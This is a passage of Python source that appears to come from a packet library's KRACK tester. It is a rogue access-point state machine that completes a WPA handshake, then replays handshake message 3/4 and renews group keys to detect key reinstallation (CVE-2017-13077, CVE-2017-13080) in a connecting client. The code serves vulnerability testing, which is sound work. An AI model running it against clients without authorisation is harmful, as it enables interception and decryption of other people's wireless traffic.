471*7dc08ffcSJunyu Lai        # Save client MAC for later
472*7dc08ffcSJunyu Lai        self.client = pkt.addr2
473*7dc08ffcSJunyu Lai        log_runtime.warning("Client %s connected!", self.client)
474*7dc08ffcSJunyu Lai
475*7dc08ffcSJunyu Lai        # Launch DHCP Server
476*7dc08ffcSJunyu Lai        self.dhcp_server.run()
477*7dc08ffcSJunyu Lai
478*7dc08ffcSJunyu Lai        rep = RadioTap()
479*7dc08ffcSJunyu Lai        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
480*7dc08ffcSJunyu Lai        rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,
481*7dc08ffcSJunyu Lai                         status=pkt[Dot11Auth].status)
482*7dc08ffcSJunyu Lai
483*7dc08ffcSJunyu Lai        self.send(rep)
484*7dc08ffcSJunyu Lai
485*7dc08ffcSJunyu Lai    @ATMT.receive_condition(AUTH_RESPONSE_SENT)
486*7dc08ffcSJunyu Lai    def assoc_received(self, pkt):
487*7dc08ffcSJunyu Lai        if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
488*7dc08ffcSJunyu Lai           pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
489*7dc08ffcSJunyu Lai            raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)
490*7dc08ffcSJunyu Lai
491*7dc08ffcSJunyu Lai    @ATMT.action(assoc_received)
492*7dc08ffcSJunyu Lai    def send_assoc_response(self, pkt):
493*7dc08ffcSJunyu Lai
494*7dc08ffcSJunyu Lai        # Get RSN info
495*7dc08ffcSJunyu Lai        temp_pkt = pkt[Dot11Elt::{"ID":48}].copy()
496*7dc08ffcSJunyu Lai        temp_pkt.remove_payload()
497*7dc08ffcSJunyu Lai        self.RSN = raw(temp_pkt)
498*7dc08ffcSJunyu Lai        # Avoid 802.11w, etc. (deactivate RSN capabilities)
499*7dc08ffcSJunyu Lai        self.RSN = self.RSN[:-2] + "\x00\x00"
500*7dc08ffcSJunyu Lai
501*7dc08ffcSJunyu Lai        rep = RadioTap()
502*7dc08ffcSJunyu Lai        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
503*7dc08ffcSJunyu Lai        rep /= Dot11AssoResp()
504*7dc08ffcSJunyu Lai        rep /= Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18$')
505*7dc08ffcSJunyu Lai
506*7dc08ffcSJunyu Lai        self.send(rep)
507*7dc08ffcSJunyu Lai
508*7dc08ffcSJunyu Lai    @ATMT.condition(ASSOC_RESPONSE_SENT)
509*7dc08ffcSJunyu Lai    def assoc_sent(self):
510*7dc08ffcSJunyu Lai        raise self.WPA_HANDSHAKE_STEP_1_SENT()
511*7dc08ffcSJunyu Lai
512*7dc08ffcSJunyu Lai    @ATMT.action(assoc_sent)
513*7dc08ffcSJunyu Lai    def send_wpa_handshake_1(self):
514*7dc08ffcSJunyu Lai
515*7dc08ffcSJunyu Lai        self.anonce = self.gen_nonce(32)
516*7dc08ffcSJunyu Lai
517*7dc08ffcSJunyu Lai        rep = RadioTap()
518*7dc08ffcSJunyu Lai        rep /= Dot11(
519*7dc08ffcSJunyu Lai            addr1=self.client,
520*7dc08ffcSJunyu Lai            addr2=self.mac,
521*7dc08ffcSJunyu Lai            addr3=self.mac,
522*7dc08ffcSJunyu Lai            FCfield='from-DS',
523*7dc08ffcSJunyu Lai            SC=(next(self.seq_num) << 4),
524*7dc08ffcSJunyu Lai        )
525*7dc08ffcSJunyu Lai        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
526*7dc08ffcSJunyu Lai        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
527*7dc08ffcSJunyu Lai        rep /= self.build_EAPOL_Key_8021X2004(
528*7dc08ffcSJunyu Lai            key_information=0x89,
529*7dc08ffcSJunyu Lai            replay_counter=next(self.replay_counter),
530*7dc08ffcSJunyu Lai            nonce=self.anonce,
531*7dc08ffcSJunyu Lai        )
532*7dc08ffcSJunyu Lai
533*7dc08ffcSJunyu Lai        self.send(rep)
534*7dc08ffcSJunyu Lai
535*7dc08ffcSJunyu Lai    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)
536*7dc08ffcSJunyu Lai    def wpa_handshake_1_sent(self, pkt):
537*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
538*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
539*7dc08ffcSJunyu Lai            return
540*7dc08ffcSJunyu Lai        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
541*7dc08ffcSJunyu Lai           pkt[EAPOL].load[1] == "\x01":
542*7dc08ffcSJunyu Lai            # Key MIC: set, Secure / Error / Request / Encrypted / SMK
543*7dc08ffcSJunyu Lai            # message: not set
544*7dc08ffcSJunyu Lai            raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)
545*7dc08ffcSJunyu Lai
546*7dc08ffcSJunyu Lai    @ATMT.action(wpa_handshake_1_sent)
547*7dc08ffcSJunyu Lai    def send_wpa_handshake_3(self, pkt):
548*7dc08ffcSJunyu Lai
549*7dc08ffcSJunyu Lai        # Both nonce have been exchanged, install keys
550*7dc08ffcSJunyu Lai        client_nonce = pkt[EAPOL].load[13:13 + 0x20]
551*7dc08ffcSJunyu Lai        self.install_unicast_keys(client_nonce)
552*7dc08ffcSJunyu Lai
553*7dc08ffcSJunyu Lai        # Check client MIC
554*7dc08ffcSJunyu Lai
555*7dc08ffcSJunyu Lai        # Data: full message with MIC place replaced by 0s
556*7dc08ffcSJunyu Lai        # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python
557*7dc08ffcSJunyu Lai        client_mic = pkt[EAPOL].load[77:77 + 16]
558*7dc08ffcSJunyu Lai        client_data = raw(pkt[EAPOL]).replace(client_mic, "\x00" * len(client_mic))
559*7dc08ffcSJunyu Lai        assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic
560*7dc08ffcSJunyu Lai
561*7dc08ffcSJunyu Lai        rep = RadioTap()
562*7dc08ffcSJunyu Lai        rep /= Dot11(
563*7dc08ffcSJunyu Lai            addr1=self.client,
564*7dc08ffcSJunyu Lai            addr2=self.mac,
565*7dc08ffcSJunyu Lai            addr3=self.mac,
566*7dc08ffcSJunyu Lai            FCfield='from-DS',
567*7dc08ffcSJunyu Lai            SC=(next(self.seq_num) << 4),
568*7dc08ffcSJunyu Lai        )
569*7dc08ffcSJunyu Lai
570*7dc08ffcSJunyu Lai        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
571*7dc08ffcSJunyu Lai        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
572*7dc08ffcSJunyu Lai
573*7dc08ffcSJunyu Lai        self.install_GTK()
574*7dc08ffcSJunyu Lai        data = self.RSN
575*7dc08ffcSJunyu Lai        data += self.build_GTK_KDE()
576*7dc08ffcSJunyu Lai
577*7dc08ffcSJunyu Lai        eap = self.build_EAPOL_Key_8021X2004(
578*7dc08ffcSJunyu Lai            key_information=0x13c9,
579*7dc08ffcSJunyu Lai            replay_counter=next(self.replay_counter),
580*7dc08ffcSJunyu Lai            nonce=self.anonce,
581*7dc08ffcSJunyu Lai            data=data,
582*7dc08ffcSJunyu Lai            key_mic=self.kck,
583*7dc08ffcSJunyu Lai            key_data_encrypt=self.kek,
584*7dc08ffcSJunyu Lai        )
585*7dc08ffcSJunyu Lai
586*7dc08ffcSJunyu Lai        self.send(rep / eap)
587*7dc08ffcSJunyu Lai
588*7dc08ffcSJunyu Lai    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)
589*7dc08ffcSJunyu Lai    def wpa_handshake_3_sent(self, pkt):
590*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
591*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
592*7dc08ffcSJunyu Lai            return
593*7dc08ffcSJunyu Lai        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
594*7dc08ffcSJunyu Lai           pkt[EAPOL].load[1:3] == "\x03\x09":
595*7dc08ffcSJunyu Lai            self.time_handshake_end = time.time()
596*7dc08ffcSJunyu Lai            raise self.KRACK_DISPATCHER()
597*7dc08ffcSJunyu Lai
598*7dc08ffcSJunyu Lai    @ATMT.condition(KRACK_DISPATCHER)
599*7dc08ffcSJunyu Lai    def krack_dispatch(self):
600*7dc08ffcSJunyu Lai        now = time.time()
601*7dc08ffcSJunyu Lai        # Handshake 3/4 replay
602*7dc08ffcSJunyu Lai        if self.double_3handshake and (self.krack_state & 1 == 0) and \
603*7dc08ffcSJunyu Lai           (now - self.time_handshake_end) > self.wait_3handshake:
604*7dc08ffcSJunyu Lai            log_runtime.info("Trying to trigger CVE-2017-13077")
605*7dc08ffcSJunyu Lai            raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)
606*7dc08ffcSJunyu Lai
607*7dc08ffcSJunyu Lai        # GTK rekeying
608*7dc08ffcSJunyu Lai        if (self.krack_state & 2 == 0) and \
609*7dc08ffcSJunyu Lai           (now - self.time_handshake_end) > self.wait_gtk:
610*7dc08ffcSJunyu Lai            raise self.ANALYZE_DATA().action_parameters(send_gtk=True)
611*7dc08ffcSJunyu Lai
612*7dc08ffcSJunyu Lai        # Fallback in data analysis
613*7dc08ffcSJunyu Lai        raise self.ANALYZE_DATA().action_parameters()
614*7dc08ffcSJunyu Lai
615*7dc08ffcSJunyu Lai    @ATMT.action(krack_dispatch)
616*7dc08ffcSJunyu Lai    def krack_proceed(self, send_3handshake=False, send_gtk=False):
617*7dc08ffcSJunyu Lai        if send_3handshake:
618*7dc08ffcSJunyu Lai            rep = RadioTap()
619*7dc08ffcSJunyu Lai            rep /= Dot11(
620*7dc08ffcSJunyu Lai                addr1=self.client,
621*7dc08ffcSJunyu Lai                addr2=self.mac,
622*7dc08ffcSJunyu Lai                addr3=self.mac,
623*7dc08ffcSJunyu Lai                FCfield='from-DS',
624*7dc08ffcSJunyu Lai                SC=(next(self.seq_num) << 4),
625*7dc08ffcSJunyu Lai                subtype=0,
626*7dc08ffcSJunyu Lai                type="Data",
627*7dc08ffcSJunyu Lai            )
628*7dc08ffcSJunyu Lai
629*7dc08ffcSJunyu Lai            rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
630*7dc08ffcSJunyu Lai            rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
631*7dc08ffcSJunyu Lai
632*7dc08ffcSJunyu Lai            data = self.RSN
633*7dc08ffcSJunyu Lai            data += self.build_GTK_KDE()
634*7dc08ffcSJunyu Lai
635*7dc08ffcSJunyu Lai            eap_2 = self.build_EAPOL_Key_8021X2004(
636*7dc08ffcSJunyu Lai                # Key information 0x13c9:
637*7dc08ffcSJunyu Lai                #   ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure,
638*7dc08ffcSJunyu Lai                #   Encrypted, SMK
639*7dc08ffcSJunyu Lai                key_information=0x13c9,
640*7dc08ffcSJunyu Lai                replay_counter=next(self.replay_counter),
641*7dc08ffcSJunyu Lai                nonce=self.anonce,
642*7dc08ffcSJunyu Lai                data=data,
643*7dc08ffcSJunyu Lai                key_mic=self.kck,
644*7dc08ffcSJunyu Lai                key_data_encrypt=self.kek,
645*7dc08ffcSJunyu Lai            )
646*7dc08ffcSJunyu Lai
647*7dc08ffcSJunyu Lai            rep /= eap_2
648*7dc08ffcSJunyu Lai
649*7dc08ffcSJunyu Lai            if self.encrypt_3handshake:
650*7dc08ffcSJunyu Lai                self.send_wpa_to_client(rep[LLC])
651*7dc08ffcSJunyu Lai            else:
652*7dc08ffcSJunyu Lai                self.send(rep)
653*7dc08ffcSJunyu Lai
654*7dc08ffcSJunyu Lai            self.krack_state |= 1
655*7dc08ffcSJunyu Lai
656*7dc08ffcSJunyu Lai        if send_gtk:
657*7dc08ffcSJunyu Lai            self.krack_state |= 2
658*7dc08ffcSJunyu Lai            # Renew the GTK
659*7dc08ffcSJunyu Lai            self.install_GTK()
660*7dc08ffcSJunyu Lai            raise self.RENEW_GTK()
661*7dc08ffcSJunyu Lai
662*7dc08ffcSJunyu Lai    @ATMT.receive_condition(ANALYZE_DATA)
663*7dc08ffcSJunyu Lai    def get_data(self, pkt):
664*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
665*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
666*7dc08ffcSJunyu Lai            return
667*7dc08ffcSJunyu Lai
668*7dc08ffcSJunyu Lai        # Skip retries
669*7dc08ffcSJunyu Lai        if pkt[Dot11].FCfield.retry:
670*7dc08ffcSJunyu Lai            return
671*7dc08ffcSJunyu Lai
672*7dc08ffcSJunyu Lai        # Skip unencrypted frames (TKIP rely on WEP packet)
673*7dc08ffcSJunyu Lai        if not pkt[Dot11].FCfield.wep:
674*7dc08ffcSJunyu Lai            return
675*7dc08ffcSJunyu Lai
676*7dc08ffcSJunyu Lai        # Dot11.type 2: Data
677*7dc08ffcSJunyu Lai        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
678*7dc08ffcSJunyu Lai            # Do not check pkt.addr3, frame can be broadcast
679*7dc08ffcSJunyu Lai            raise self.KRACK_DISPATCHER().action_parameters(pkt)
680*7dc08ffcSJunyu Lai
681*7dc08ffcSJunyu Lai    @ATMT.action(get_data)
682*7dc08ffcSJunyu Lai    def extract_iv(self, pkt):
683*7dc08ffcSJunyu Lai        # Get IV
684*7dc08ffcSJunyu Lai        TSC, _, _ = parse_TKIP_hdr(pkt)
685*7dc08ffcSJunyu Lai        iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \
686*7dc08ffcSJunyu Lai             (TSC[4] << 32) | (TSC[5] << 40)
687*7dc08ffcSJunyu Lai        log_runtime.info("Got a packet with IV: %s", hex(iv))
688*7dc08ffcSJunyu Lai
689*7dc08ffcSJunyu Lai        if self.last_iv is None:
690*7dc08ffcSJunyu Lai            self.last_iv = iv
691*7dc08ffcSJunyu Lai        else:
692*7dc08ffcSJunyu Lai            if iv <= self.last_iv:
693*7dc08ffcSJunyu Lai                log_runtime.warning("IV re-use!! Client seems to be "
694*7dc08ffcSJunyu Lai                                    "vulnerable to handshake 3/4 replay "
695*7dc08ffcSJunyu Lai                                    "(CVE-2017-13077)"
696*7dc08ffcSJunyu Lai                )
697*7dc08ffcSJunyu Lai
698*7dc08ffcSJunyu Lai        data_clear = None
699*7dc08ffcSJunyu Lai
700*7dc08ffcSJunyu Lai        # Normal decoding
701*7dc08ffcSJunyu Lai        data = parse_data_pkt(pkt, self.tk)
702*7dc08ffcSJunyu Lai        try:
703*7dc08ffcSJunyu Lai            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
704*7dc08ffcSJunyu Lai                                       pkt.addr3)
705*7dc08ffcSJunyu Lai        except (ICVError, MICError):
706*7dc08ffcSJunyu Lai            pass
707*7dc08ffcSJunyu Lai
708*7dc08ffcSJunyu Lai        # Decoding with a 0's TK
709*7dc08ffcSJunyu Lai        if data_clear is None:
710*7dc08ffcSJunyu Lai            data = parse_data_pkt(pkt, "\x00" * len(self.tk))
711*7dc08ffcSJunyu Lai            try:
712*7dc08ffcSJunyu Lai                mic_key = "\x00" * len(self.mic_sta_to_ap)
713*7dc08ffcSJunyu Lai                data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)
714*7dc08ffcSJunyu Lai                log_runtime.warning("Client has installed an all zero "
715*7dc08ffcSJunyu Lai                                    "encryption key (TK)!!")
716*7dc08ffcSJunyu Lai            except (ICVError, MICError):
717*7dc08ffcSJunyu Lai                pass
718*7dc08ffcSJunyu Lai
719*7dc08ffcSJunyu Lai        if data_clear is None:
720*7dc08ffcSJunyu Lai            log_runtime.warning("Unable to decode the packet, something went "
721*7dc08ffcSJunyu Lai                                "wrong")
722*7dc08ffcSJunyu Lai            log_runtime.debug(hexdump(pkt, dump=True))
723*7dc08ffcSJunyu Lai            self.deal_common_pkt(pkt)
724*7dc08ffcSJunyu Lai            return
725*7dc08ffcSJunyu Lai
726*7dc08ffcSJunyu Lai        log_runtime.debug(hexdump(data_clear, dump=True))
727*7dc08ffcSJunyu Lai        pkt = LLC(data_clear)
728*7dc08ffcSJunyu Lai        log_runtime.debug(repr(pkt))
729*7dc08ffcSJunyu Lai        self.deal_common_pkt(pkt)
730*7dc08ffcSJunyu Lai
731*7dc08ffcSJunyu Lai
732*7dc08ffcSJunyu Lai    @ATMT.condition(RENEW_GTK)
733*7dc08ffcSJunyu Lai    def gtk_pkt_1(self):
734*7dc08ffcSJunyu Lai        raise self.WAIT_GTK_ACCEPT()
735*7dc08ffcSJunyu Lai
736*7dc08ffcSJunyu Lai    @ATMT.action(gtk_pkt_1)
737*7dc08ffcSJunyu Lai    def send_renew_gtk(self):
738*7dc08ffcSJunyu Lai
739*7dc08ffcSJunyu Lai        rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
740*7dc08ffcSJunyu Lai        rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
741*7dc08ffcSJunyu Lai
742*7dc08ffcSJunyu Lai        data = self.build_GTK_KDE()
743*7dc08ffcSJunyu Lai
744*7dc08ffcSJunyu Lai        eap = self.build_EAPOL_Key_8021X2004(
745*7dc08ffcSJunyu Lai            # Key information 0x1381:
746*7dc08ffcSJunyu Lai            #   ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,
747*7dc08ffcSJunyu Lai            #   SMK
748*7dc08ffcSJunyu Lai            key_information=0x1381,
749*7dc08ffcSJunyu Lai            replay_counter=next(self.replay_counter),
750*7dc08ffcSJunyu Lai            nonce=self.anonce,
751*7dc08ffcSJunyu Lai            data=data,
752*7dc08ffcSJunyu Lai            key_mic=self.kck,
753*7dc08ffcSJunyu Lai            key_data_encrypt=self.kek,
754*7dc08ffcSJunyu Lai        )
755*7dc08ffcSJunyu Lai
756*7dc08ffcSJunyu Lai        rep_to_enc /= eap
757*7dc08ffcSJunyu Lai        self.send_wpa_to_client(rep_to_enc)
758*7dc08ffcSJunyu Lai
759*7dc08ffcSJunyu Lai    @ATMT.receive_condition(WAIT_GTK_ACCEPT)
760*7dc08ffcSJunyu Lai    def get_gtk_2(self, pkt):
761*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
762*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
763*7dc08ffcSJunyu Lai            return
764*7dc08ffcSJunyu Lai
765*7dc08ffcSJunyu Lai        # Skip retries
766*7dc08ffcSJunyu Lai        if pkt[Dot11].FCfield.retry:
767*7dc08ffcSJunyu Lai            return
768*7dc08ffcSJunyu Lai
769*7dc08ffcSJunyu Lai        # Skip unencrypted frames (TKIP rely on WEP packet)
770*7dc08ffcSJunyu Lai        if not pkt[Dot11].FCfield.wep:
771*7dc08ffcSJunyu Lai            return
772*7dc08ffcSJunyu Lai
773*7dc08ffcSJunyu Lai        # Normal decoding
774*7dc08ffcSJunyu Lai        try:
775*7dc08ffcSJunyu Lai            data = parse_data_pkt(pkt, self.tk)
776*7dc08ffcSJunyu Lai        except ValueError:
777*7dc08ffcSJunyu Lai            return
778*7dc08ffcSJunyu Lai        try:
779*7dc08ffcSJunyu Lai            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
780*7dc08ffcSJunyu Lai                                       pkt.addr3)
781*7dc08ffcSJunyu Lai        except (ICVError, MICError):
782*7dc08ffcSJunyu Lai            return
783*7dc08ffcSJunyu Lai
784*7dc08ffcSJunyu Lai        pkt_clear = LLC(data_clear)
785*7dc08ffcSJunyu Lai        if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \
786*7dc08ffcSJunyu Lai           pkt_clear[EAPOL].load[1:3] == "\x03\x01":
787*7dc08ffcSJunyu Lai            raise self.WAIT_ARP_REPLIES()
788*7dc08ffcSJunyu Lai
789*7dc08ffcSJunyu Lai    @ATMT.action(get_gtk_2)
790*7dc08ffcSJunyu Lai    def send_arp_req(self):
791*7dc08ffcSJunyu Lai
792*7dc08ffcSJunyu Lai        if self.krack_state & 4 == 0:
793*7dc08ffcSJunyu Lai            # Set the address for future uses
794*7dc08ffcSJunyu Lai            self.arp_target_ip = self.dhcp_server.leases.get(self.client,
795*7dc08ffcSJunyu Lai                                                             self.arp_target_ip)
796*7dc08ffcSJunyu Lai            assert self.arp_target_ip is not None
797*7dc08ffcSJunyu Lai
798*7dc08ffcSJunyu Lai            # Send the first ARP requests, for control test
799*7dc08ffcSJunyu Lai            log_runtime.info("Send ARP who-was from '%s' to '%s'",
800*7dc08ffcSJunyu Lai                             self.arp_source_ip,
801*7dc08ffcSJunyu Lai                             self.arp_target_ip)
802*7dc08ffcSJunyu Lai            arp_pkt = self.send_wpa_to_group(
803*7dc08ffcSJunyu Lai                LLC()/SNAP()/ARP(op="who-has",
804*7dc08ffcSJunyu Lai                                 psrc=self.arp_source_ip,
805*7dc08ffcSJunyu Lai                                 pdst=self.arp_target_ip,
806*7dc08ffcSJunyu Lai                                 hwsrc=self.mac),
807*7dc08ffcSJunyu Lai                dest='ff:ff:ff:ff:ff:ff',
808*7dc08ffcSJunyu Lai            )
809*7dc08ffcSJunyu Lai            self.arp_sent.append(arp_pkt)
810*7dc08ffcSJunyu Lai        else:
811*7dc08ffcSJunyu Lai            if self.arp_to_send < len(self.arp_sent):
812*7dc08ffcSJunyu Lai                # Re-send the ARP requests already sent
813*7dc08ffcSJunyu Lai                self.send(self.arp_sent[self.arp_to_send])
814*7dc08ffcSJunyu Lai                self.arp_to_send += 1
815*7dc08ffcSJunyu Lai            else:
816*7dc08ffcSJunyu Lai                # Re-send GTK
817*7dc08ffcSJunyu Lai                self.arp_to_send = 0
818*7dc08ffcSJunyu Lai                self.arp_retry += 1
819*7dc08ffcSJunyu Lai                log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d",
820*7dc08ffcSJunyu Lai                              self.arp_retry, self.ARP_MAX_RETRY)
821*7dc08ffcSJunyu Lai                if self.arp_retry > self.ARP_MAX_RETRY:
822*7dc08ffcSJunyu Lai                    # We retries 100 times to send GTK, then already sent ARPs
823*7dc08ffcSJunyu Lai                    log_runtime.warning("Client is likely not vulnerable to "
824*7dc08ffcSJunyu Lai                                        "CVE-2017-13080")
825*7dc08ffcSJunyu Lai                    raise self.EXIT()
826*7dc08ffcSJunyu Lai
827*7dc08ffcSJunyu Lai                raise self.RENEW_GTK()
828*7dc08ffcSJunyu Lai
829*7dc08ffcSJunyu Lai    @ATMT.timeout(WAIT_ARP_REPLIES, 0.5)
830*7dc08ffcSJunyu Lai    def resend_arp_req(self):
831*7dc08ffcSJunyu Lai        self.send_arp_req()
832*7dc08ffcSJunyu Lai        raise self.WAIT_ARP_REPLIES()
833*7dc08ffcSJunyu Lai
834*7dc08ffcSJunyu Lai    @ATMT.receive_condition(WAIT_ARP_REPLIES)
835*7dc08ffcSJunyu Lai    def get_arp(self, pkt):
836*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
837*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
838*7dc08ffcSJunyu Lai            return
839*7dc08ffcSJunyu Lai
840*7dc08ffcSJunyu Lai        # Skip retries
841*7dc08ffcSJunyu Lai        if pkt[Dot11].FCfield.retry:
842*7dc08ffcSJunyu Lai            return
843*7dc08ffcSJunyu Lai
844*7dc08ffcSJunyu Lai        # Skip unencrypted frames (TKIP rely on WEP packet)
845*7dc08ffcSJunyu Lai        if not pkt[Dot11].FCfield.wep:
846*7dc08ffcSJunyu Lai            return
847*7dc08ffcSJunyu Lai
848*7dc08ffcSJunyu Lai        # Dot11.type 2: Data
849*7dc08ffcSJunyu Lai        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
850*7dc08ffcSJunyu Lai            # Do not check pkt.addr3, frame can be broadcast
851*7dc08ffcSJunyu Lai            raise self.WAIT_ARP_REPLIES().action_parameters(pkt)
852*7dc08ffcSJunyu Lai
853*7dc08ffcSJunyu Lai    @ATMT.action(get_arp)
854*7dc08ffcSJunyu Lai    def check_arp_reply(self, pkt):
855*7dc08ffcSJunyu Lai        data = parse_data_pkt(pkt, self.tk)
856*7dc08ffcSJunyu Lai        try:
857*7dc08ffcSJunyu Lai            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
858*7dc08ffcSJunyu Lai                                       pkt.addr3)
859*7dc08ffcSJunyu Lai        except (ICVError, MICError):
860*7dc08ffcSJunyu Lai            return
861*7dc08ffcSJunyu Lai
862*7dc08ffcSJunyu Lai        decoded_pkt = LLC(data_clear)
863*7dc08ffcSJunyu Lai        log_runtime.debug(hexdump(decoded_pkt, dump=True))
864*7dc08ffcSJunyu Lai        log_runtime.debug(repr(decoded_pkt))
865*7dc08ffcSJunyu Lai        self.deal_common_pkt(decoded_pkt)
866*7dc08ffcSJunyu Lai        if ARP not in decoded_pkt:
867*7dc08ffcSJunyu Lai            return
868*7dc08ffcSJunyu Lai
869*7dc08ffcSJunyu Lai        # ARP.op 2: is-at
870*7dc08ffcSJunyu Lai        if decoded_pkt[ARP].op == 2 and \
871*7dc08ffcSJunyu Lai           decoded_pkt[ARP].psrc == self.arp_target_ip and \
872*7dc08ffcSJunyu Lai           decoded_pkt[ARP].pdst == self.arp_source_ip:
873*7dc08ffcSJunyu Lai            # Got the expected ARP
874*7dc08ffcSJunyu Lai            if self.krack_state & 4 == 0:
875*7dc08ffcSJunyu Lai                # First time, normal behavior
876*7dc08ffcSJunyu Lai                log_runtime.info("Got ARP reply, this is normal")
877*7dc08ffcSJunyu Lai                self.krack_state |= 4
878*7dc08ffcSJunyu Lai                log_runtime.info("Trying to trigger CVE-2017-13080")
879*7dc08ffcSJunyu Lai                raise self.RENEW_GTK()
880*7dc08ffcSJunyu Lai            else:
881*7dc08ffcSJunyu Lai                # Second time, the packet has been accepted twice!
882*7dc08ffcSJunyu Lai                log_runtime.warning("Broadcast packet accepted twice!! "
883*7dc08ffcSJunyu Lai                                    "(CVE-2017-13080)")
884